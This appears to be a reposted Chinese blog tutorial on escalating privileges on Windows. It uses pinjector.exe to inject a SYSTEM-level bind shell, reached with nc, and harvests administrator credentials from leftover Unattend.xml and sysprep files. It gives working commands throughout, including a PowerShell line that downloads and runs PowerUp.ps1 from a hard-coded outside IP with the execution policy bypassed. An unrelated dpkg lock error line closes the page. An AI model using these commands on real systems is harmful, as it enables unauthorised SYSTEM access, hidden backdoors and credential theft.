Windows提权—进程注入Unattended Installs提权
Posted Thgilil
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Windows提权—进程注入Unattended Installs提权相关的知识,希望对你有一定的参考价值。
进程注入提权
使用 pinjector.exe 注入到system用户的进程中,使该进程绑定在0.0.0.0:port ,并建立监听端口,攻击者从攻击机上主动连接该地址,获取到系统的system权限
注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现
下载pinjector.exe
https://www.tarasco.org/security/Process_Injector/index.html
上传 pinjector.exe到靶机可执行目录
##列取所有进程
pinjector.exe -l
##选择一个system权限运行的进程,对此pid进程执行注入,并建立侦听端口
pinjector.exe -p <pid> cmd <port>
##使用 nc 连接目标服务器端口
nc -nv 192.168.0.117 5555
连接成功,获取到system权限的shell
Unattended Installs提权
通常大型组织在部署某些员工较多或时间紧缺的程序时,会使用Unattended Installs自动安装,这种方式允许程序在不需要管理员的操作下进行自动安装,这种方式在部署程序前期较有用,但它也会在系统中残留一个名为Unattend的XML文件,这个XML 件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户等。
Unattend.xml 文件通常在以下文件夹中
C:\\sysprep.inf
C:\\syspreg\\sysprep.xml
C:\\Windows\\system32\\sysprep.inf
C:\\windows\\system32\\sysprep\\sysprep.xml
C:\\unattend.xml
C:\\Windows\\Panther\\Unattend.xml
C:\\Windows\\Panther\\Unattended.xml
C:\\Windows\\Panther\\Unattend\\Unattended.xml
C:\\Windows\\Panther\\Unattend\\Unattend.xml
C:\\Windows\\System32\\Sysprep\\Unattend.xml
C:\\Windows\\System32\\Sysprep\\Panther\\Unattend.xml
也可以使用命令全盘搜索Unattend文件
dir /b /s c:\\unattend.xml
除此之外,系统中遗留的 sysprep.xml 和sysprep.inf 文件中也可能包含部署系统时使用的凭证信息,可以通过利用这些信息进行提权。
通过搜索 UserAccounts 、Administrators、password 等对凭证进行定位
部分文件内容如下:
<UserAccounts>
<LocalAccounts>
<LocalAccount>
<Password>
<Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> <PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description> <DisplayName>Administrator</DisplayName> <Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
在以上文件中,可以看到 一个本地账户被创建并加入到了管理员组中。
可以猜测密码的值应该是以Base64进行编码的
对密码值进行Base64解码
UEBzc3dvcmQxMjMhUGFzc3dvcmQ=
##解码得到
P@ssword123!Password
通常微软会在编码前的密码后加上password,
所以这里本地管理员的密码实际上是:P@ssword123!
MSF中的利用模块
使用 post/windows/gather/enum_unattend 模块枚举连接的session中的Unattend
msf6 > use post/windows/gather/enum_unattend
msf6 > set session 1
msf6 >exploit
powershell 利用模块搜寻
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://120.79.66.58/mypowershell/PowerUp.ps1');Get-UnattendedInstallFile"
参考:
https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/
https://www.cnblogs.com/zpchcbd/p/12232683.html
以上是关于Windows提权—进程注入Unattended Installs提权的主要内容,如果未能解决你的问题,请参考以下文章
正在等待缓存锁:无法获得锁 /var/lib/dpkg/lock-frontend。锁正由进程 12836(unattended-upgr)持有